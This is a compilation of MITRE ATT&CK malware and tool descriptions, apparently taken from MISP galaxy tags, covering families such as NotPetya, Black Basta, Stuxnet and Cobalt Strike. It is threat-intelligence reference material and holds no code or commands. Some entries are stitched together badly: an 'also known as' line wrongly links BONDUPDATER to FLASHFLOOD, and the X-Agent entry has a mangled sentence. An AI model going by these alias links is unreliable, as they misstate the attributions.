X-Agent for Android - S0314

[X-Agent for Android](https://attack.mitre.org/software/S0314) is Android malware that was placed in a repackaged version of a Ukrainian artillery targeting application. The malware reportedly retrieved general location data on where the victim device was used, and therefore could likely indicate the potential location of Ukrainian artillery. (Citation: CrowdStrike-Android) Is it tracked separately from the [CHOPSTICK](https://attack.mitre.org/software/S0023).

Black Basta - S1070

[Black Basta](https://attack.mitre.org/software/S1070) is ransomware written in C++ that has been offered within the ransomware-as-a-service (RaaS) model since at least April 2022; there are variants that target Windows and VMWare ESXi servers. [Black Basta](https://attack.mitre.org/software/S1070) operations have included the double extortion technique where in addition to demanding ransom for decrypting the files of targeted organizations the cyber actors also threaten to post sensitive information to a leak site if the ransom is not paid. [Black Basta](https://attack.mitre.org/software/S1070) affiliates have targeted multiple high-value organizations, with the largest number of victims based in the U.S. Based on similarities in TTPs, leak sites, payment sites, and negotiation tactics, security researchers assess the [Black Basta](https://attack.mitre.org/software/S1070) RaaS operators could include current or former members of the [Conti](https://attack.mitre.org/software/S0575) group. (Citation: Palo Alto Networks Black Basta August 2022)(Citation: Deep Instinct Black Basta August 2022)(Citation: Minerva Labs Black Basta May 2022)(Citation: Avertium Black Basta June 2022)(Citation: NCC Group Black Basta)

Bad Rabbit - S0606

[Bad Rabbit](https://attack.mitre.org/software/S0606) is a self-propagating ransomware that affected the Ukrainian transportation sector in 2017. [Bad Rabbit](https://attack.mitre.org/software/S0606) has also targeted organizations and consumers in Russia. (Citation: Secure List Bad Rabbit)(Citation: ESET Bad Rabbit)(Citation: Dragos IT ICS Ransomware)

Green Lambert - S0690

[Green Lambert](https://attack.mitre.org/software/S0690) is a modular backdoor that security researchers assess has been used by an advanced threat group referred to as Longhorn and The Lamberts. First reported in 2017, the Windows variant of [Green Lambert](https://attack.mitre.org/software/S0690) may have been used as early as 2008; a macOS version was uploaded to a multiscanner service in September 2014.(Citation: Kaspersky Lamberts Toolkit April 2017)(Citation: Objective See Green Lambert for OSX Oct 2021)

Cobalt Strike - S0154

[Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, remote access tool that bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system. (Citation: cobaltstrike manual)

In addition to its own capabilities, [Cobalt Strike](https://attack.mitre.org/software/S0154) leverages the capabilities of other well-known tools such as Metasploit and [Mimikatz](https://attack.mitre.org/software/S0002). (Citation: cobaltstrike manual)

Cardinal RAT - S0348

[Cardinal RAT](https://attack.mitre.org/software/S0348) is a potentially low volume remote access trojan (RAT) observed since December 2015. [Cardinal RAT](https://attack.mitre.org/software/S0348) is notable for its unique utilization of uncompiled C# source code and the Microsoft Windows built-in csc.exe compiler. **Olympic Destroyer - S0365**

[Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) against the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware was to render infected computer
systems inoperable. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. [Olympic Destroyer](https://attack.mitre.org/software/S0365) has worm-like features to spread itself across a computer network in order to maximize its destructive impact. (Citation: Talos Olympic Destroyer 2018) (Citation: US District Court Indictment GRU Unit 74455 October 2020)

Shamoon - S0140

[Shamoon](https://attack.mitre.org/software/S0140) is wiper malware that was first used by an Iranian group known as the "Cutting Sword of Justice" in 2012. Other versions known as Shamoon 2 and Shamoon 3 were observed in 2016 and 2018. [Shamoon](https://attack.mitre.org/software/S0140) has also been seen leveraging [RawDisk](https://attack.mitre.org/software/S0364) and Filerase to carry out data wiping tasks. The term Shamoon is sometimes used to refer to the group using the malware as well as the malware itself.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Unit 42 Shamoon3 2018)(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)

Uroburos - S0022

[Uroburos](https://attack.mitre.org/software/S0022) is a sophisticated cyber espionage tool written in C that has been used by units within Russia's Federal Security Service (FSB) associated with the [Turla](https://attack.mitre.org/groups/G0010) toolset to collect intelligence on sensitive targets worldwide. [Uroburos](https://attack.mitre.org/software/S0022) has several variants and has undergone nearly constant upgrade since its initial development in 2003 to keep it viable after public disclosures. [Uroburos](https://attack.mitre.org/software/S0022) is typically deployed to external-facing nodes on a targeted network and has the ability to leverage additional tools and TTPs to further exploit an internal network. [Uroburos](https://attack.mitre.org/software/S0022) has interoperable implants for Windows, Linux, and macOS, employs a high level of stealth in communications and architecture, and can easily incorporate new or replacement components.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)(Citation: Kaspersky Turla)

**CHOPSTICK - S0023**

[CHOPSTICK](https://attack.mitre.org/software/S0023) is a malware family of modular backdoors used by [APT28](https://attack.mitre.org/groups/G0007). It has been used since at least 2012 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. It has both Windows and Linux variants. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28 January 2017) (Citation: DOJ GRU Indictment Jul 2018) It is tracked separately from the [X-Agent for Android](https://attack.mitre.org/software/S0314).

**BONDUPDATER - S0360**

[BONDUPDATER](https://attack.mitre.org/software/S0360) is a PowerShell backdoor used by [OilRig](https://attack.mitre.org/groups/G0049). It was first observed in November 2017 during targeting of a Middle Eastern government organization, and an updated version was observed in August 2018 being used to target a government organization with spearphishing emails.(Citation: FireEye APT34 Dec 2017)(Citation: Palo Alto OilRig Sep 2018)

The tag is: *misp-galaxy:mitre-malware="BONDUPDATER - S0360"*

BONDUPDATER - S0360 is also known as:
FLASHFLOOD - S0036

[FLASHFLOOD](https://attack.mitre.org/software/S0036) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)

The tag is: `misp-galaxy:mitre-malware="FLASHFLOOD - S0036"`

FLASHFLOOD - S0036 is also known as:

- FLASHFLOOD

Stuxnet - S0603

[Stuxnet](https://attack.mitre.org/software/S0603) was the first publicly reported piece of malware to specifically target industrial control systems devices. [Stuxnet](https://attack.mitre.org/software/S0603) is a large and complex piece of malware that utilized multiple different behaviors including multiple zero-day vulnerabilities, a sophisticated Windows rootkit, and network infection routines. (Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011) (Citation: CISA ICS Advisory ICSA-10-272-01) (Citation: ESET Stuxnet Under the Microscope) (Citation: Langer Stuxnet) [Stuxnet](https://attack.mitre.org/software/S0603) was discovered in 2010, with some components being used as early as November 2008. (Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)

**Industroyer - S0604**

[Industroyer](https://attack.mitre.org/software/S0604) is a sophisticated malware framework designed to cause an impact to the working processes of Industrial Control Systems (ICS), specifically components used in electrical substations. (Citation: ESET Industroyer) [Industroyer](https://attack.mitre.org/software/S0604) was used in the attacks on the Ukrainian power grid in December 2016. (Citation: Dragos Crashoverride 2017) This is the first publicly known malware specifically designed to target and impact operations in the electric grid. (Citation: Dragos Crashoverride 2018)

TEARDROP - S0560

[TEARDROP](https://attack.mitre.org/software/S0560) is a memory-only dropper that was discovered on some victim machines during investigations related to the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024). It was likely used by [APT29](https://attack.mitre.org/groups/G0016) since at least May 2020. EKANS - S0605

[EKANS](https://attack.mitre.org/software/S0605) is ransomware variant written in Golang that first appeared in mid-December 2019 and has been used against multiple sectors, including energy, healthcare, and automotive manufacturing, which in some cases resulted in significant operational disruptions. [EKANS](https://attack.mitre.org/software/S0605) has used a hard-coded kill-list of
processes, including some associated with common ICS software platforms (e.g., GE Proficy, Honeywell HMIWeb, etc), similar to those defined in [MegaCortex](https://attack.mitre.org/software/S0576).(Citation: Dragos EKANS)(Citation: Palo Alto Unit 42 EKANS)

**BitPaymer - S0570**

[BitPaymer](https://attack.mitre.org/software/S0570) is a ransomware variant first observed in August 2017 targeting hospitals in the U.K. [BitPaymer](https://attack.mitre.org/software/S0570) uses a unique encryption key, ransom note, and contact information for each operation. [BitPaymer](https://attack.mitre.org/software/S0570) has several indicators suggesting overlap with the [Dridex](https://attack.mitre.org/software/S0384) malware and is often delivered via [Dridex](https://attack.mitre.org/software/S0384).(Citation: Crowdstrike Indrik November 2018)

**KillDisk - S0607**

[KillDisk](https://attack.mitre.org/software/S0607) is a disk-wiping tool designed to overwrite files with random data to render the OS unbootable. It was first observed as a component of [BlackEnergy](https://attack.mitre.org/software/S0089) malware during cyber attacks against Ukraine in 2015. [KillDisk](https://attack.mitre.org/software/S0607) has since evolved into standalone malware used by a variety of threat actors against additional targets in Europe and Latin America; in 2016 a ransomware component was also incorporated into some [KillDisk](https://attack.mitre.org/software/S0607) variants.(Citation: KillDisk Ransomware)(Citation: ESEST Black Energy Jan 2016)(Citation: Trend Micro KillDisk 1)(Citation: Trend Micro KillDisk 2)

BlackEnergy - S0089

[BlackEnergy](https://attack.mitre.org/software/S0089) is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. Chinoxy - S1041

[Chinoxy](https://attack.mitre.org/software/S1041) is a backdoor that has been used since at least November 2018, during the [FunnyDream](https://attack.mitre.org/campaigns/C0007) campaign, to gain persistence and drop additional payloads. According to security researchers, [Chinoxy](https://attack.mitre.org/software/S1041) has been used by Chinese-speaking threat actors. (Citation: Bitdefender FunnyDream Campaign November 2020)

Reaver - S0172

[Reaver](https://attack.mitre.org/software/S0172) is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the "Five Poisons," which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel](https://attack.mitre.org/techniques/T1218/002) items.(Citation: Palo Alto Reaver Nov 2017)

Royal - S1073

Royal - S1073 is ransomware that first appeared in early 2022; a version that also targets ESXi servers was later observed in February 2023. Royal employs partial encryption and multiple threads to evade detection and speed encryption. Royal has been used in attacks against multiple industries worldwide—including critical infrastructure. Security researchers have identified similarities in the encryption routines and TTPs used in attacks and noted a possible connection between their operators.

SimBad - S0419

[SimBad](https://attack.mitre.org/software/S0419) was a strain of adware on the Google Play Store, distributed through the RXDroider Software Development Kit. The name "SimBad" was derived from the fact that most of the infected applications were simulator games. The adware was controlled using an instance of the open source framework Parse Server. Tomiris - S0671

Tomiris - S0671 is a backdoor written in Go that continuously queries its C2 server for executables to download and execute on a victim system. It was first reported in September 2021 during an investigation of a successful DNS hijacking campaign against a Commonwealth of Independent States (CIS) member. Security researchers assess there are similarities between [Tomiris](https://attack.mitre.org/software/S0671) and [GoldMax](https://attack.mitre.org/software/S0588). TangleBot - S1069

[TangleBot](https://attack.mitre.org/software/S1069) is SMS malware that was initially observed in September 2021, primarily targeting mobile users in the United States and Canada. [TangleBot](https://attack.mitre.org/software/S1069) has used SMS text message lures about COVID-19 regulations and vaccines to trick mobile users into downloading the malware, similar to [FluBot](https://attack.mitre.org/software/S1067) Android malware campaigns. PoetRAT - S0428

[PoetRAT](https://attack.mitre.org/software/S0428) is a remote access trojan (RAT) that was first identified in April 2020. [PoetRAT](https://attack.mitre.org/software/S0428) has been used in multiple campaigns against the private and public sectors in Azerbaijan, including ICS and SCADA systems in the energy sector. The STIBNITE activity group has been observed using the malware. [PoetRAT](https://attack.mitre.org/software/S0428) derived its name from references in the code to poet William Shakespeare. (Citation: Talos PoetRAT April 2020)(Citation: Talos PoetRAT October 2020)(Citation: Dragos Threat Report 2020)

Mosquito - S0256

[Mosquito](https://attack.mitre.org/software/S0256) is a Win32 backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). [Mosquito](https://attack.mitre.org/software/S0256) is made up of three parts: the installer, the launcher, and the backdoor. The main backdoor is called CommanderDLL and is launched by the loader program. (Citation: ESET Turla Mosquito Jan 2018)

NotPetya - S0368

[NotPetya](https://attack.mitre.org/software/S0368) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) in a worldwide attack starting on June 27, 2017. While [NotPetya](https://attack.mitre.org/software/S0368) appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance. (Citation: Talos Nyetya June 2017) (Citation: US-CERT NotPetya 2017) (Citation: ESET Telebots June 2017) (Citation: US District Court Indictment GRU Unit 74455 October 2020)

AppleJeus - S0584

[AppleJeus](https://attack.mitre.org/software/S0584) is a family of downloaders initially discovered in 2018 embedded within trojanized cryptocurrency applications. [AppleJeus](https://attack.mitre.org/software/S0584) has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032), targeting companies in the energy, finance, government, industry, technology, and telecommunications sectors, and several countries including the United States, United Kingdom, South Korea, Australia, Brazil, New Zealand, and Russia. [AppleJeus](https://attack.mitre.org/software/S0584) has been used to distribute the [FALLCHILL](https://attack.mitre.org/software/S0181) RAT.(Citation: CISA AppleJeus Feb 2021)

Mandrake - S0485

[Mandrake](https://attack.mitre.org/software/S0485) is a sophisticated Android espionage platform that has been active in the wild since at least 2016. [Mandrake](https://attack.mitre.org/software/S0485) is very actively maintained, with sophisticated features and attacks that are executed with surgical precision.

[Mandrake](https://attack.mitre.org/software/S0485) has gone undetected for several years by providing legitimate, ad-free applications with social media and real reviews to back the apps. The malware is only activated when the operators issue a specific command.(Citation: Bitdefender Mandrake)

ThiefQuest - S0595

[ThiefQuest](https://attack.mitre.org/software/S0595) is a virus, data stealer, and wiper that presents itself as ransomware targeting macOS systems. [ThiefQuest](https://attack.mitre.org/software/S0595) was first seen in 2020 distributed via trojanized pirated versions of popular macOS software on Russian forums sharing torrent links. Even though [ThiefQuest](https://attack.mitre.org/software/S0595) presents itself as ransomware, since the dynamically generated encryption key is never sent to the attacker it may be more appropriately thought of as a form of wiper malware.

**ShadowPad - S0596**

[ShadowPad](https://attack.mitre.org/software/S0596) is a modular backdoor that was first identified in a supply chain compromise of the NetSarang software in mid-July 2017. The malware was originally thought to be exclusively used by [APT41](https://attack.mitre.org/groups/G0096), but has since been observed to be used by various Chinese threat activity groups. (Citation: Recorded Future RedEcho Feb 2021)(Citation: Securelist ShadowPad Aug 2017)(Citation: Kaspersky ShadowPad Aug 2017)

Brute Ratel C4 - S1063

[Brute Ratel C4](https://attack.mitre.org/software/S1063) is a commercial red-teaming and adversarial attack simulation tool that first appeared in December 2020. [Brute Ratel C4](https://attack.mitre.org/software/S1063) was specifically designed to avoid detection by endpoint detection and response (EDR) and antivirus (AV) capabilities, and deploys agents called badgers to enable arbitrary command execution for lateral movement, privilege escalation, and persistence. In September 2022, a cracked version of [Brute Ratel C4](https://attack.mitre.org/software/S1063) was leaked in the cybercriminal underground, leading to its use by threat actors.(Citation: Dark Vortex Brute Ratel C4)(Citation: Palo Alto Brute Ratel July 2022)(Citation: MDSec Brute Ratel August 2022)(Citation: SANS Brute Ratel October 2022)(Citation: Trend Micro Black Basta October 2022)

Invoke-PSImage - S0231

[Invoke-PSImage](https://attack.mitre.org/software/S0231) takes a PowerShell script and embeds the bytes of the script into the pixels of a PNG image. It generates a one liner for executing either from a file or from the web. Example of usage is embedding the PowerShell code from the Invoke-Mimikatz module and embed it into an image file. By calling the image file from a macro for example, the macro will download the picture and execute the PowerShell code, which in this case will dump the passwords. (Citation: GitHub Invoke-PSImage)

**Tor - S0183**

[Tor](https://attack.mitre.org/software/S0183) is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. [Tor](https://attack.mitre.org/software/S0183) utilizes "Onion Routing," in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingledine Tor The Second-Generation Onion Router)

RawDisk - S0364

[RawDisk](https://attack.mitre.org/software/S0364) is a legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer's hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features.
